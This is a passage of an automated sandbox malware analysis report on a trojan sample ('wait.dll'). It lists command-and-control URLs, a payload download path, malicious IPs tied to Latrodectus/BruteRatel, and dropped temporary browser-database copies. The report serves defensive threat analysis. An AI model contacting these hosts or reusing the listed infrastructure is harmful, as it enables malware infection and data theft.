00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2513069428.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E11E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536552097.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reateberam.com/q	explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://huanvn.com:6542/gop.php	rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421807994.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536038404.0000027617C68000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dogirafer.com/3405117-2476756634-1003	explorer.exe, 00000008.00000002.4553248554.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://huanvn.com:6542/gop.phpn)?	rundll32.exe, 00000004.00000002.4536038404.0000027617C68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://r10.o.lencr.org0#	rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219518856.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536479202.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reateberam.com/test/4560	explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vutarf.com:6542/stop.php	rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE474000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dogirafer.com/test/ys	explorer.exe, 00000008.00000002.4555029441.000000000C9F9000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reateberam.com/test/4439042_94940942440575_5318539URLS1https://dogirafer.com/test/3185439_50	explorer.exe, 00000008.00000003.3201304277.00000000030C0000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.com	explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4550686972.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3101269732.0000000009C92000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3100576777.0000000009B8F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	false		high
https://reateberam.com/files/stkm.binSL	explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C912000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://r11.i.lencr.org/0	rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2513069428.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E11E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536552097.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dogirafer.com/.5	explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://r10.o.lencr.o	rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vutarf.com:6542/stop.phpo	rundll32.exe, 00000004.00000003.2421653008.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dogirafer.com/test/E	explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reateberam.com/test/3630449_22862766669148_5703346URLS1https://dogirafer.com/test/6092916_19	explorer.exe, 00000008.00000003.3445364549.0000000008980000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000008.00000000.2321862445.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dogirafer.com/uo	explorer.exe, 00000008.00000002.4554444765.000000000C8DC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vutarf.com/W	rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vutarf.com:6542/stop.phpu	rundll32.exe, 00000003.00000002.4535814161.000001CEAE474000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000008.00000002.4549635767.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://reateberam.com/p	explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vutarf.com:6542/gop.php	rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://huanvn.com/P	rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	explorer.exe, 00000008.00000002.4535485561.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2320112731.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://huanvn.com/Q	rundll32.exe, 00000006.00000002.4535937784.000002339E18D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dogirafer.com/eo	explorer.exe, 00000008.00000002.4554444765.000000000C8DC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://r10.i.lencr.org/0	rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219518856.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536479202.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.68.89	dogirafer.com	United States	13335	CLOUDFLARENETUS	true
172.67.217.190	reateberam.com	United States	13335	CLOUDFLARENETUS	true
103.57.249.207	huanvn.com	India	17747	SITINETWORS-IN-APSITINETWORKSLIMITEDIN	true
94.232.43.224	vutarf.com	Russian Federation	44477	WELLWEBNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566852
Start date and time:	2024-12-02 18:42:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	wait.dll.dll (renamed file extension from exe to dll)
Original Sample Name:	wait.dll.exe
Detection:	MAL
Classification:	mal100.spre.bank.troj.spyw.evad.winDLL@70/7@7/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 59 Number of non-executed functions: 192
Cookbook Comments:	Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: wait.dll.dll

Simulations

Behavior and APIs

Time	Type	Description
12:42:59	API Interceptor	1x Sleep call for process: loaddll64.exe modified
12:43:55	API Interceptor	12219632x Sleep call for process: explorer.exe modified
12:45:18	API Interceptor	2x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.68.89	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse
172.67.217.190	4lXTg8P7Ih.elf	Get hash	malicious	Mirai	Browse	/tmUnblock.cgi
103.57.249.207	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse
94.232.43.224	cTgZnuQlDo.exe	Get hash	malicious	SystemBC	Browse
94.232.43.224	cTgZnuQlDo.exe	Get hash	malicious	SystemBC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
huanvn.com	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	103.57.249.207
reateberam.com	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.16.251
bg.microsoft.map.fastly.net	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	199.232.210.172
	Wc pay benefit.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Nymaim	Browse	199.232.210.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	faktura461250706050720242711#U00b7pdf.vbs	Get hash	malicious	Unknown	Browse	199.232.214.172
	11315781264#U00b7pdf.vbs	Get hash	malicious	Unknown	Browse	199.232.214.172
	30180908_signed#U00b7pdf.vbs	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
dogirafer.com	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.68.89

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.68.89
	https://www.paypal.com/myaccount/transaction/details/7PH333382L561513K?v=1&utm_source=unp&utm_medium=email&utm_campaign=RT000298&utm_unptid=4b412a33-b0d1-11ef-a147-1da0668aaf9b&ppid=RT000298&cnac=US&rsta=en_US%28en-US%29&unptid=4b412a33-b0d1-11ef-a147-1da0668aaf9b&calc=0052231041435&unp_tpcid=email-standard-transaction-unilateral&page=main%3Aemail%3ART000298&pgrp=main%3Aemail&e=cl&mchn=em&s=ci&mail=sys&appVersion=1.294.0&xt=145585%2C150948%2C104038	Get hash	malicious	Unknown	Browse	1.1.1.1
	Wc pay benefit.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	http://mailgun.internationalsos.com/c/eJxUzcGO2yoYxfGngR0RYIxhwcKO4d5ITRuNpyN1ieFLhtYGy7it5u2rLGd5jvTX77_rdIVa_QMuo-GKMqnahuEpHRDKDpcD1stoUDe0cuDtKAbCGtsRofuBaMktGRRzfSdGRgVD3fip_OLz47d_gIH86X-DvaaSDcPTR30K0UgcjQAW7hgM6xqupNSa4nej52YOSrVRNJ7OAhRwJmcRwj3ArEKHkxnP0tmzUoRa3hHBdEsGJzviBqbcMGrba4cE_T5ZNv3f36br622iDV7M-3FsFTU94g5xF2Jmp5QP2LM_Usl-qaWeQlkRdwRx97PWFWLyiLvN5whrCog7lxaoiLvocyQb2SK5P2fKx0JqqWQrSypk9R-EUy5OW7wjy5GiSJ_xbl6-_Ti92Zfptb_d7Fck6F7Cr7-lLE8X_zH8XwAAAP__jX59nw	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://pa.compassionatetraveler.org/kqawsedrftgyhugtfrdesedrftgyhujwsedrfgtyhhygtfrderftghyujikiujhygtfrtgyhujjuhygtfrtgyhuji%20	Get hash	malicious	Unknown	Browse	172.66.40.234
	http://ar-oracle.com	Get hash	malicious	Unknown	Browse	104.18.161.117
	Employee_Important_Message.pdf	Get hash	malicious	Unknown	Browse	104.26.13.205
	ATT4802.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	Flumroc.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
SITINETWORS-IN-APSITINETWORKSLIMITEDIN	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	103.57.249.207
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	202.142.118.100
	na.elf	Get hash	malicious	Gafgyt	Browse	103.225.178.92
	msas.msi	Get hash	malicious	ORPCBackdoor	Browse	103.57.249.42
	msas.msi	Get hash	malicious	ORPCBackdoor	Browse	103.57.249.42
	sstn.exe	Get hash	malicious	Unknown	Browse	103.57.250.204
	sstn.exe	Get hash	malicious	Unknown	Browse	103.57.250.204
	VKkfiTAZXP.elf	Get hash	malicious	Gafgyt, Mirai	Browse	103.225.178.98
	YnO77q8WhV.elf	Get hash	malicious	Unknown	Browse	45.117.200.73
	3A8YbQ0RZ7.dll	Get hash	malicious	Qbot	Browse	202.142.98.62
WELLWEBNL	sqx.dll.dll	Get hash	malicious	Unknown	Browse	94.232.40.38
	merd.msi	Get hash	malicious	Unknown	Browse	94.232.40.38
	sqx.dll.dll	Get hash	malicious	Unknown	Browse	94.232.40.38
	mesh.exe	Get hash	malicious	MeshAgent	Browse	94.232.43.185
	mesh.exe	Get hash	malicious	MeshAgent	Browse	94.232.43.185
	Document-19-06-38.js	Get hash	malicious	BruteRatel	Browse	94.232.43.213
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	94.232.45.36
	JeZHGKJvrB.exe	Get hash	malicious	Unknown	Browse	94.232.44.144
	hFoVk4DJXG.exe	Get hash	malicious	Unknown	Browse	94.232.44.144
	JbZaDxFXF3.exe	Get hash	malicious	NetSupport RAT	Browse	94.232.42.28
CLOUDFLARENETUS	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.68.89
	https://www.paypal.com/myaccount/transaction/details/7PH333382L561513K?v=1&utm_source=unp&utm_medium=email&utm_campaign=RT000298&utm_unptid=4b412a33-b0d1-11ef-a147-1da0668aaf9b&ppid=RT000298&cnac=US&rsta=en_US%28en-US%29&unptid=4b412a33-b0d1-11ef-a147-1da0668aaf9b&calc=0052231041435&unp_tpcid=email-standard-transaction-unilateral&page=main%3Aemail%3ART000298&pgrp=main%3Aemail&e=cl&mchn=em&s=ci&mail=sys&appVersion=1.294.0&xt=145585%2C150948%2C104038	Get hash	malicious	Unknown	Browse	1.1.1.1
	Wc pay benefit.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	http://mailgun.internationalsos.com/c/eJxUzcGO2yoYxfGngR0RYIxhwcKO4d5ITRuNpyN1ieFLhtYGy7it5u2rLGd5jvTX77_rdIVa_QMuo-GKMqnahuEpHRDKDpcD1stoUDe0cuDtKAbCGtsRofuBaMktGRRzfSdGRgVD3fip_OLz47d_gIH86X-DvaaSDcPTR30K0UgcjQAW7hgM6xqupNSa4nej52YOSrVRNJ7OAhRwJmcRwj3ArEKHkxnP0tmzUoRa3hHBdEsGJzviBqbcMGrba4cE_T5ZNv3f36br622iDV7M-3FsFTU94g5xF2Jmp5QP2LM_Usl-qaWeQlkRdwRx97PWFWLyiLvN5whrCog7lxaoiLvocyQb2SK5P2fKx0JqqWQrSypk9R-EUy5OW7wjy5GiSJ_xbl6-_Ti92Zfptb_d7Fck6F7Cr7-lLE8X_zH8XwAAAP__jX59nw	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://pa.compassionatetraveler.org/kqawsedrftgyhugtfrdesedrftgyhujwsedrfgtyhhygtfrderftghyujikiujhygtfrtgyhujjuhygtfrtgyhuji%20	Get hash	malicious	Unknown	Browse	172.66.40.234
	http://ar-oracle.com	Get hash	malicious	Unknown	Browse	104.18.161.117
	Employee_Important_Message.pdf	Get hash	malicious	Unknown	Browse	104.26.13.205
	ATT4802.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	Flumroc.docx	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.68.89 172.67.217.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.68.89 172.67.217.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.68.89 172.67.217.190
	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.68.89 172.67.217.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.68.89 172.67.217.190
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.68.89 172.67.217.190
	Swiftcopy.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.68.89 172.67.217.190
	New Order.xls	Get hash	malicious	Unknown	Browse	104.21.68.89 172.67.217.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.68.89 172.67.217.190
	REMITTANCE COPY FOR INVOICE PAYMENT.exe	Get hash	malicious	DBatLoader	Browse	104.21.68.89 172.67.217.190

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Alakow3.tmp

Download File

Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Iyufla1.tmp

Download File

Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boiz3.tmp

Download File

Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boiz3.tmp-shm

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ruikcu.tmp

Download File

Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
